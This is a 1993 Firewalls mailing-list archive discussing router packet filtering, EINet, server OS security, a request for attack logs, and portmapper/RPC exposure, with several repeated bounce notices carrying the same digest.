Fri, 3 Sep 93 12:45:40 MST From: crow!rik@uunet.UU.NET (Rik Farrow) Message-Id: <9309031945.AA02567@crow.spirit.com> To: firewalls@GreatCircle.COM Subject: Network Systems router, and EINet Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk While at InterOp, I ran into a vendor I'd not heard of before--Network Systems. They sell a router which they claim is in widespread use within US gov't agencies. From looking at the spec sheet, they provide a very complete "packet control facility" for packet filtering, which includes control on _what to do with discarded packets_. They also claim to perform filtering without degrading router performance. Finally, the packet control facility uses configuration file(s) which get compiled before they are used on the router. Anyone out there have any experience with Network Systems? I talked with Ted Doty (ted.doty@network.com) who works for Network Systems. Another interesting development is EINet, a product of MCC, the Micro- electronics and Computer Technology Corporation in Austin, TX. EINet consists of application layer products (over TCP/IP or OSI) that are supposed to provide user authentication and access control. They also offer WAIS and X.500 service, and plan to provide a secure means to transfer funds over the Internet and some form of PEM. Again, anyone with any experience with EINet listening? Rik Farrow rik@uworld.com From Firewalls-Owner Fri Sep 3 22:35:14 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01097; Fri, 3 Sep 93 22:35:14 GMT Received: from bluenote.ccrwest.org by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01089; Fri, 3 Sep 93 15:35:06 PDT Received: from ccrwest.ccrwest.org by bluenote.ccrwest.org (4.1/CCRWEST-I1.5) id AA01844; Fri, 3 Sep 93 15:37:31 PDT Received: from poco.ccrwest.org by ccrwest.ccrwest.org (4.1/CCRWEST-2.1) id AA12025; Fri, 3 Sep 93 15:37:28 PDT Received: by poco.ccrwest.org (4.1/ccrwest-1.5) id AA00692; Fri, 3 Sep 93 15:37:29 PDT Date: Fri, 3 Sep 93 15:37:29 PDT From: Rich Schultz Message-Id: <9309032237.AA00692@poco.ccrwest.org> To: crow!rik@uunet.uu.net, firewalls@GreatCircle.COM Subject: Re: Network Systems router, and EINet Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > While at InterOp, I ran into a vendor I'd not heard of before--Network > Systems. I have a little experience with Network Systems routers, and they do have extensive packet filtering capabilities. You can filter on: source and destination addresses source and destination ports (TCP and UDP) protocol type of service IP options among other things. You can also stick filters at the incoming interface, outgoing interface, or in between in a table that is keyed on source and destination addresses. You can take several actions if a filter is triggered, including dropping the packet, logging it to a remote host, sending a copy to a remote host, sending an ICMP packet back or not and some others. > They also claim to perform filtering without degrading router performance. I don't believe this, but I haven't run any tests. I know that they used to claim just the reverse, but that was years ago. > Finally, the packet control facility uses configuration file(s) which > get compiled before they are used on the router. True. You compile a filter on the router, then apply it at one of the filter points (incoming, outgoing, etc.) My experience has been on their high end `DX' routers. A salesman I talked to at Interop said that the low end routers (starting at around $5,000) have the same filtering capabilities; I have no experience with those. Rich Schultz rich@ccrwest.org From Firewalls-Owner Sat Sep 4 06:20:42 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03548; Sat, 4 Sep 93 13:07:36 GMT Received: from cfe1.nrl.navy.mil by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03541; Sat, 4 Sep 93 06:07:21 PDT Message-Id: <9309041307.AA03541@mycroft.GreatCircle.COM> Date: 4 Sep 93 08:35:54 EST From: "SMTP MAILER" Subject: Mail not delivered yet, still trying To: "Firewalls" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk ----Mail status follows---- Have been unable to send your mail to , will keep trying for a total of three days. At that time your mail will be returned. ----Transcript of message follows---- Date: 4 Sep 93 04:11:00 EST From: Firewalls@GreatCircle.COM Subject: Firewalls Digest V2 #156 To: "perez" Return-Path: Received: from relay1.UU.NET by cfe1.nrl.navy.mil with SMTP ; Sat, 4 Sep 93 04:10:50 EST Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA29597; Sat, 4 Sep 93 04:04:11 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03045; Sat, 4 Sep 93 08:00:13 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03032; Sat, 4 Sep 93 01:00:08 PDT Date: Sat, 4 Sep 93 01:00:08 PDT Message-Id: <9309040800.AA03032@mycroft.GreatCircle.COM> From: Firewalls-Digest-Owner@GreatCircle.COM To: Firewalls-Digest@GreatCircle.COM Subject: Firewalls Digest V2 #156 Reply-To: Firewalls@GreatCircle.COM Sender: Firewalls-Digest-Owner@GreatCircle.COM Precedence: bulk Firewalls Digest Saturday, 4 September 1993 Volume 02 : Number 156 In this issue: Network Systems router, and EINet Re: Network Systems router, and EINet See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: crow!rik@uunet.UU.NET (Rik Farrow) Date: Fri, 3 Sep 93 12:45:40 MST Subject: Network Systems router, and EINet While at InterOp, I ran into a vendor I'd not heard of before--Network Systems. They sell a router which they claim is in widespread use within US gov't agencies. From looking at the spec sheet, they provide a very complete "packet control facility" for packet filtering, which includes control on _what to do with discarded packets_. They also claim to perform filtering without degrading router performance. Finally, the packet control facility uses configuration file(s) which get compiled before they are used on the router. Anyone out there have any experience with Network Systems? I talked with Ted Doty (ted.doty@network.com) who works for Network Systems. Another interesting development is EINet, a product of MCC, the Micro- electronics and Computer Technology Corporation in Austin, TX. EINet consists of application layer products (over TCP/IP or OSI) that are supposed to provide user authentication and access control. They also offer WAIS and X.500 service, and plan to provide a secure means to transfer funds over the Internet and some form of PEM. Again, anyone with any experience with EINet listening? Rik Farrow rik@uworld.com ------------------------------ From: Rich Schultz Date: Fri, 3 Sep 93 15:37:29 PDT Subject: Re: Network Systems router, and EINet > While at InterOp, I ran into a vendor I'd not heard of before--Network > Systems. I have a little experience with Network Systems routers, and they do have extensive packet filtering capabilities. You can filter on: source and destination addresses source and destination ports (TCP and UDP) protocol type of service IP options among other things. You can also stick filters at the incoming interface, outgoing interface, or in between in a table that is keyed on source and destination addresses. You can take several actions if a filter is triggered, including dropping the packet, logging it to a remote host, sending a copy to a remote host, sending an ICMP packet back or not and some others. > They also claim to perform filtering without degrading router performance. I don't believe this, but I haven't run any tests. I know that they used to claim just the reverse, but that was years ago. > Finally, the packet control facility uses configuration file(s) which > get compiled before they are used on the router. True. You compile a filter on the router, then apply it at one of the filter points (incoming, outgoing, etc.) My experience has been on their high end `DX' routers. A salesman I talked to at Interop said that the low end routers (starting at around $5,000) have the same filtering capabilities; I have no experience with those. Rich Schultz rich@ccrwest.org ------------------------------ End of Firewalls Digest V2 #156 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). From Firewalls-Owner Sun Sep 5 02:48:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01850; Sun, 5 Sep 93 09:23:54 GMT Received: from cfe1.nrl.navy.mil by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA01843; Sun, 5 Sep 93 02:23:38 PDT Message-Id: <9309050923.AA01843@mycroft.GreatCircle.COM> Date: 5 Sep 93 04:52:05 EST From: "SMTP MAILER" Subject: Mail not delivered yet, still trying To: "Firewalls" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk ----Mail status follows---- Have been unable to send your mail to for one day, will keep trying for another two days. At that time your mail will be returned. ----Transcript of message follows---- Date: 4 Sep 93 04:11:00 EST From: Firewalls@GreatCircle.COM Subject: Firewalls Digest V2 #156 To: "perez" Return-Path: Received: from relay1.UU.NET by cfe1.nrl.navy.mil with SMTP ; Sat, 4 Sep 93 04:10:50 EST Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA29597; Sat, 4 Sep 93 04:04:11 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03045; Sat, 4 Sep 93 08:00:13 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03032; Sat, 4 Sep 93 01:00:08 PDT Date: Sat, 4 Sep 93 01:00:08 PDT Message-Id: <9309040800.AA03032@mycroft.GreatCircle.COM> From: Firewalls-Digest-Owner@GreatCircle.COM To: Firewalls-Digest@GreatCircle.COM Subject: Firewalls Digest V2 #156 Reply-To: Firewalls@GreatCircle.COM Sender: Firewalls-Digest-Owner@GreatCircle.COM Precedence: bulk Firewalls Digest Saturday, 4 September 1993 Volume 02 : Number 156 In this issue: Network Systems router, and EINet Re: Network Systems router, and EINet See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: crow!rik@uunet.UU.NET (Rik Farrow) Date: Fri, 3 Sep 93 12:45:40 MST Subject: Network Systems router, and EINet While at InterOp, I ran into a vendor I'd not heard of before--Network Systems. They sell a router which they claim is in widespread use within US gov't agencies. From looking at the spec sheet, they provide a very complete "packet control facility" for packet filtering, which includes control on _what to do with discarded packets_. They also claim to perform filtering without degrading router performance. Finally, the packet control facility uses configuration file(s) which get compiled before they are used on the router. Anyone out there have any experience with Network Systems? I talked with Ted Doty (ted.doty@network.com) who works for Network Systems. Another interesting development is EINet, a product of MCC, the Micro- electronics and Computer Technology Corporation in Austin, TX. EINet consists of application layer products (over TCP/IP or OSI) that are supposed to provide user authentication and access control. They also offer WAIS and X.500 service, and plan to provide a secure means to transfer funds over the Internet and some form of PEM. Again, anyone with any experience with EINet listening? Rik Farrow rik@uworld.com ------------------------------ From: Rich Schultz Date: Fri, 3 Sep 93 15:37:29 PDT Subject: Re: Network Systems router, and EINet > While at InterOp, I ran into a vendor I'd not heard of before--Network > Systems. I have a little experience with Network Systems routers, and they do have extensive packet filtering capabilities. You can filter on: source and destination addresses source and destination ports (TCP and UDP) protocol type of service IP options among other things. You can also stick filters at the incoming interface, outgoing interface, or in between in a table that is keyed on source and destination addresses. You can take several actions if a filter is triggered, including dropping the packet, logging it to a remote host, sending a copy to a remote host, sending an ICMP packet back or not and some others. > They also claim to perform filtering without degrading router performance. I don't believe this, but I haven't run any tests. I know that they used to claim just the reverse, but that was years ago. > Finally, the packet control facility uses configuration file(s) which > get compiled before they are used on the router. True. You compile a filter on the router, then apply it at one of the filter points (incoming, outgoing, etc.) My experience has been on their high end `DX' routers. A salesman I talked to at Interop said that the low end routers (starting at around $5,000) have the same filtering capabilities; I have no experience with those. Rich Schultz rich@ccrwest.org ------------------------------ End of Firewalls Digest V2 #156 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). From Firewalls-Owner Sun Sep 5 13:14:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA02267; Sun, 5 Sep 93 13:14:28 GMT Received: from grasp1.univ-lyon1.fr by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA02260; Sun, 5 Sep 93 06:14:21 PDT Received: from localhost (wolf@localhost) by grasp1.univ-lyon1.fr (8.3/8.3) id PAA39381; Sun, 5 Sep 1993 15:16:19 +0200 Date: Sun, 5 Sep 1993 15:16:19 +0200 From: Christophe Wolfhugel Message-Id: <199309051316.PAA39381@grasp1.univ-lyon1.fr> To: firewalls@GreatCircle.COM Subject: Re: Network Systems router, and EINet Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk NSC routers have definitely really nice filtering capabilities. They're more expensive then competitors, but the way they handle packet filtering is just superior to what other leaders propose and uncomparable to the useless filtering options of some outsiders (3Com...). Thus, logging has unfortunately been forgotten from the low-end NSC routers, perhaps the software has now been modified. I would not recommend them for serious security purposes. Several of our firewalls have been setup in conjunction with NSC routers which allows to specify in a usable way the defined security policy. Also I can't speak on how good or bad their routing protocols implementations are, until now me mostly use a default route. -- Christophe Wolfhugel -+- Herve Schauer Consultants, Paris From Firewalls-Owner Sun Sep 5 19:52:49 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA02828; Sun, 5 Sep 93 19:52:49 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA02819; Sun, 5 Sep 93 12:52:43 PDT Message-Id: <9309051952.AA02819@mycroft.GreatCircle.COM> To: Firewalls@GreatCircle.COM Subject: Bogus bounce message to "Firewalls" and "Firewalls-Digest" Date: Sun, 05 Sep 93 12:52:42 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Sorry about the bogus bounce message that slipped through to Firewalls and Firewalls-Digest. Somebody's brain-dead mailer decided that the right thing to do with bounces was to submit them to the "Reply-To:" address of the original message. Unfortunately, that particular message didn't trigger any of my administrivia filters. I bounced the offending site from the list as soon as I saw the message. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Mon Sep 6 16:43:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA06775; Mon, 6 Sep 93 16:43:10 GMT Received: from cfe1.nrl.navy.mil by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA06768; Mon, 6 Sep 93 09:42:56 PDT Message-Id: <9309061642.AA06768@mycroft.GreatCircle.COM> Date: 6 Sep 93 11:52:20 EST From: "SMTP MAILER" Subject: Mail not delivered yet, still trying To: "Firewalls" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk ----Mail status follows---- Have been unable to send your mail to for two days, will keep trying for another 24 hours. At that time your mail will be returned. ----Transcript of message follows---- Date: 4 Sep 93 04:11:00 EST From: Firewalls@GreatCircle.COM Subject: Firewalls Digest V2 #156 To: "perez" Return-Path: Received: from relay1.UU.NET by cfe1.nrl.navy.mil with SMTP ; Sat, 4 Sep 93 04:10:50 EST Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA29597; Sat, 4 Sep 93 04:04:11 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03045; Sat, 4 Sep 93 08:00:13 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03032; Sat, 4 Sep 93 01:00:08 PDT Date: Sat, 4 Sep 93 01:00:08 PDT Message-Id: <9309040800.AA03032@mycroft.GreatCircle.COM> From: Firewalls-Digest-Owner@GreatCircle.COM To: Firewalls-Digest@GreatCircle.COM Subject: Firewalls Digest V2 #156 Reply-To: Firewalls@GreatCircle.COM Sender: Firewalls-Digest-Owner@GreatCircle.COM Precedence: bulk Firewalls Digest Saturday, 4 September 1993 Volume 02 : Number 156 In this issue: Network Systems router, and EINet Re: Network Systems router, and EINet See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: crow!rik@uunet.UU.NET (Rik Farrow) Date: Fri, 3 Sep 93 12:45:40 MST Subject: Network Systems router, and EINet While at InterOp, I ran into a vendor I'd not heard of before--Network Systems. They sell a router which they claim is in widespread use within US gov't agencies. From looking at the spec sheet, they provide a very complete "packet control facility" for packet filtering, which includes control on _what to do with discarded packets_. They also claim to perform filtering without degrading router performance. Finally, the packet control facility uses configuration file(s) which get compiled before they are used on the router. Anyone out there have any experience with Network Systems? I talked with Ted Doty (ted.doty@network.com) who works for Network Systems. Another interesting development is EINet, a product of MCC, the Micro- electronics and Computer Technology Corporation in Austin, TX. EINet consists of application layer products (over TCP/IP or OSI) that are supposed to provide user authentication and access control. They also offer WAIS and X.500 service, and plan to provide a secure means to transfer funds over the Internet and some form of PEM. Again, anyone with any experience with EINet listening? Rik Farrow rik@uworld.com ------------------------------ From: Rich Schultz Date: Fri, 3 Sep 93 15:37:29 PDT Subject: Re: Network Systems router, and EINet > While at InterOp, I ran into a vendor I'd not heard of before--Network > Systems. I have a little experience with Network Systems routers, and they do have extensive packet filtering capabilities. You can filter on: source and destination addresses source and destination ports (TCP and UDP) protocol type of service IP options among other things. You can also stick filters at the incoming interface, outgoing interface, or in between in a table that is keyed on source and destination addresses. You can take several actions if a filter is triggered, including dropping the packet, logging it to a remote host, sending a copy to a remote host, sending an ICMP packet back or not and some others. > They also claim to perform filtering without degrading router performance. I don't believe this, but I haven't run any tests. I know that they used to claim just the reverse, but that was years ago. > Finally, the packet control facility uses configuration file(s) which > get compiled before they are used on the router. True. You compile a filter on the router, then apply it at one of the filter points (incoming, outgoing, etc.) My experience has been on their high end `DX' routers. A salesman I talked to at Interop said that the low end routers (starting at around $5,000) have the same filtering capabilities; I have no experience with those. Rich Schultz rich@ccrwest.org ------------------------------ End of Firewalls Digest V2 #156 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). From Firewalls-Owner Mon Sep 6 23:28:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA07949; Mon, 6 Sep 93 23:28:04 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA07942; Mon, 6 Sep 93 16:27:56 PDT Message-Id: <9309062327.AA07942@mycroft.GreatCircle.COM> From: ches@research.att.com Date: Mon, 6 Sep 93 19:21:24 EDT To: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Greetings, gatekeepers. I am trying to collect some statistics on the frequency of Evil Acts occurring on the Internet over the past 3 years or so. If you keep logs of such things and would be willing to share them with me, or summarized them for me, please let me know. I am also interested in what sorts of Evil you log. Fetches of your FTP /etc/passwd file? Attempted root logins? Daemon dialing of your gateway network? We have plenty of information about our own gateway, but that information probably has little relation to the Evil attacks on, say, a department workstation at a college. I plan to summarize this information for a chapter in our Gateways book, and perhaps for a paper. Specific names and places will be excluded. I am prepared to absorb and process gigabytes of data, if you are willing to share it. Thanks, Bill Cheswick Bell Labs ches@research.att.com From Firewalls-Owner Tue Sep 7 02:45:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA09248; Tue, 7 Sep 93 08:54:46 GMT Received: from cfe1.nrl.navy.mil by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA09241; Tue, 7 Sep 93 01:54:28 PDT Message-Id: <9309070854.AA09241@mycroft.GreatCircle.COM> Date: 7 Sep 93 04:21:20 EST From: "SMTP MAILER" Subject: Mail Delivery Problem To: "Firewalls" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk ----Reason for mail failure follows---- Sending mail to : Could not be delivered for three days. ----Transcript of message follows---- Date: 4 Sep 93 04:11:00 EST From: Firewalls@GreatCircle.COM Subject: Firewalls Digest V2 #156 To: "perez" Return-Path: Received: from relay1.UU.NET by cfe1.nrl.navy.mil with SMTP ; Sat, 4 Sep 93 04:10:50 EST Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA29597; Sat, 4 Sep 93 04:04:11 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03045; Sat, 4 Sep 93 08:00:13 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03032; Sat, 4 Sep 93 01:00:08 PDT Date: Sat, 4 Sep 93 01:00:08 PDT Message-Id: <9309040800.AA03032@mycroft.GreatCircle.COM> From: Firewalls-Digest-Owner@GreatCircle.COM To: Firewalls-Digest@GreatCircle.COM Subject: Firewalls Digest V2 #156 Reply-To: Firewalls@GreatCircle.COM Sender: Firewalls-Digest-Owner@GreatCircle.COM Precedence: bulk Firewalls Digest Saturday, 4 September 1993 Volume 02 : Number 156 In this issue: Network Systems router, and EINet Re: Network Systems router, and EINet See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: crow!rik@uunet.UU.NET (Rik Farrow) Date: Fri, 3 Sep 93 12:45:40 MST Subject: Network Systems router, and EINet While at InterOp, I ran into a vendor I'd not heard of before--Network Systems. They sell a router which they claim is in widespread use within US gov't agencies. From looking at the spec sheet, they provide a very complete "packet control facility" for packet filtering, which includes control on _what to do with discarded packets_. They also claim to perform filtering without degrading router performance. Finally, the packet control facility uses configuration file(s) which get compiled before they are used on the router. Anyone out there have any experience with Network Systems? I talked with Ted Doty (ted.doty@network.com) who works for Network Systems. Another interesting development is EINet, a product of MCC, the Micro- electronics and Computer Technology Corporation in Austin, TX. EINet consists of application layer products (over TCP/IP or OSI) that are supposed to provide user authentication and access control. They also offer WAIS and X.500 service, and plan to provide a secure means to transfer funds over the Internet and some form of PEM. Again, anyone with any experience with EINet listening? Rik Farrow rik@uworld.com ------------------------------ From: Rich Schultz Date: Fri, 3 Sep 93 15:37:29 PDT Subject: Re: Network Systems router, and EINet > While at InterOp, I ran into a vendor I'd not heard of before--Network > Systems. I have a little experience with Network Systems routers, and they do have extensive packet filtering capabilities. You can filter on: source and destination addresses source and destination ports (TCP and UDP) protocol type of service IP options among other things. You can also stick filters at the incoming interface, outgoing interface, or in between in a table that is keyed on source and destination addresses. You can take several actions if a filter is triggered, including dropping the packet, logging it to a remote host, sending a copy to a remote host, sending an ICMP packet back or not and some others. > They also claim to perform filtering without degrading router performance. I don't believe this, but I haven't run any tests. I know that they used to claim just the reverse, but that was years ago. > Finally, the packet control facility uses configuration file(s) which > get compiled before they are used on the router. True. You compile a filter on the router, then apply it at one of the filter points (incoming, outgoing, etc.) My experience has been on their high end `DX' routers. A salesman I talked to at Interop said that the low end routers (starting at around $5,000) have the same filtering capabilities; I have no experience with those. Rich Schultz rich@ccrwest.org ------------------------------ End of Firewalls Digest V2 #156 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). From Firewalls-Owner Wed Sep 8 13:41:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA12793; Wed, 8 Sep 93 13:41:35 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA12786; Wed, 8 Sep 93 06:41:28 PDT Received: from cobalt.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA15862; Wed, 8 Sep 93 09:37:07 -0400 Received: by cobalt.house.gov (AA29141); Wed, 8 Sep 93 08:41:36 -0700 Date: Wed, 8 Sep 93 08:41:36 -0700 From: Dorian Deane Message-Id: <9309081541.AA29141@cobalt.house.gov> To: firewalls@GreatCircle.COM Subject: OS security question Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi. This question is not so much about firewalls as about exposed systems, which is almost the same. The primary question is, for an exposed system, such as an anon ftp server, WAIS server, etc., is any one platform better than another from a security perspective? I'm curious to hear in particular about the most popular ones: IBM's AIX (on RS/6000's), SunOS 4.1.1 and SOLARIS 2.0, HP's HP-UX 9.x, (and while I'm at it, let me add 386BSD just for personal curiosity). Forgive me if I've neglected the One True OS according to someone--feel free to give opinions on other OSs worthy of mention--NeXTStep, for example. Assume, for purposes of this question, that reasonable precautions are taken across the board: all security patches in place, avoidance of NIS, etc. Also assume maximum exposure--allowing telnet and other services--just to make the question difficult. :-) The secondary question is, is Solaris 2.x considered stable enough for this kind of job? Thanks much... dorian dorian@cobalt.house.gov From Firewalls-Owner Wed Sep 8 22:14:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14511; Wed, 8 Sep 93 22:14:43 GMT Received: from mgm.ctt.bellcore.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14500; Wed, 8 Sep 93 15:14:33 PDT Received: from shadow.secure.bellcore.com (shadow-ctt.ctt.bellcore.com) by mgm.ctt.bellcore.com with SMTP id AA25737 (5.65c/IDA-1.4.4 for ); Wed, 8 Sep 1993 18:16:39 -0400 Received: from shogun.secure.bellcore.com.secure (shogun.secure.bellcore.com) by shadow.secure.bellcore.com with SMTP id AA26605 (5.65c/IDA-1.4.4 for ); Wed, 8 Sep 1993 18:15:56 -0400 Date: Wed, 8 Sep 1993 18:15:56 -0400 From: "Michael P. Ressler" Message-Id: <199309082215.AA26605@shadow.secure.bellcore.com> To: firewalls@GreatCircle.COM Subject: portmapper Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Has there ever been a discussion of vulnerabilities associated with the portmapper service on SUNs in this group? I'm not extremely familiar with the service but my understanding is that it provides dynamic port assignment for programs and can be queried by remote systems to provide the local port assignments. (Is this limited to custom applications or is it used for common services as well?) What is the effect of such a service on filters that depend on fixed TCP ports for filtering? Mike Ressler mpr@ctt.bellcore.com From Firewalls-Owner Wed Sep 8 22:35:55 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14638; Wed, 8 Sep 93 22:35:55 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14631; Wed, 8 Sep 93 15:35:48 PDT Message-Id: <9309082235.AA14631@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Wed Sep 8 18:37:36 EDT 1993 To: "Michael P. Ressler" Cc: firewalls@GreatCircle.COM Subject: Re: portmapper Date: Wed, 08 Sep 93 18:37:36 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Has there ever been a discussion of vulnerabilities associated with the portmapper service on SUNs in this group? I'm not extremely familiar with the service but my understanding is that it provides dynamic port assignment for programs and can be queried by remote systems to provide the local port assignments. (Is this limited to custom applications or is it used for common services as well?) What is the effect of such a service on filters that depend on fixed TCP ports for filtering? You've got it -- and you can't filter such services by port number, and hackers can and do scan the port number space looking for such things. Yet another reason why the Only Right Way to do packet filters is to start from a policy of not allowing anything, and then opening up a few cracks in the wall for services you really need. Taking the other approach -- blocking known holes -- lets in the RPC hackers. --Steve Bellovin From Firewalls-Owner Wed Sep 8 15:45:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14594; Wed, 8 Sep 93 22:28:12 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA14581; Wed, 8 Sep 93 15:27:59 PDT Message-Id: <9309082227.AA14581@mycroft.GreatCircle.COM> To: "Michael P. Ressler" Cc: firewalls@GreatCircle.COM Subject: Re: portmapper In-Reply-To: Your message of Wed, 8 Sep 1993 18:15:56 -0400 Date: Wed, 08 Sep 93 15:27:58 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk # Has there ever been a discussion of vulnerabilities associated with the # portmapper service on SUNs in this group? I'm not extremely familiar # with the service but my understanding is that it provides dynamic # port assignment for programs and can be queried by remote systems # to provide the local port assignments. (Is this limited to custom # applications or is it used for common services as well?) What is the # effect of such a service on filters that depend on fixed TCP ports # for filtering? # # Mike Ressler # mpr@ctt.bellcore.com There's a discussion of this issue in my paper from last year's USENIX Security Symposium, "Network (In)Security through IP Packet Filtering". The paper is available for anonymous FTP from FTP.GreatCircle.COM, file pub/firewalls/papers/chapman/pkt_filtering.ps.Z. There's also a more detailed discussion of YP/NIS vulnerabilities in particular in a paper from David K. Hess, David R. Safford, and Udo W. Pooch of Texas A&M University. The paper is available for anonymous FTP from FTP.GreatCircle.COM, file pub/firewalls/papers/hess/NIS_Paper.ps.Z. It's called "A UNIX Network Protocol Security Study: Network Information Service". Basicly, in a nutshell, "portmapper" is the least of the problem. Blocking access to portmapper doesn't keep crackers from talking to your RPC based services; it merely makes them fish around to find them rather than being able to ask portmapper. You end up having to block all UDP traffic except for certain ports for NTP and DNS, in order to block the vulnerable RPC-based services like YP/NIS. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Wed Sep 8 23:16:25 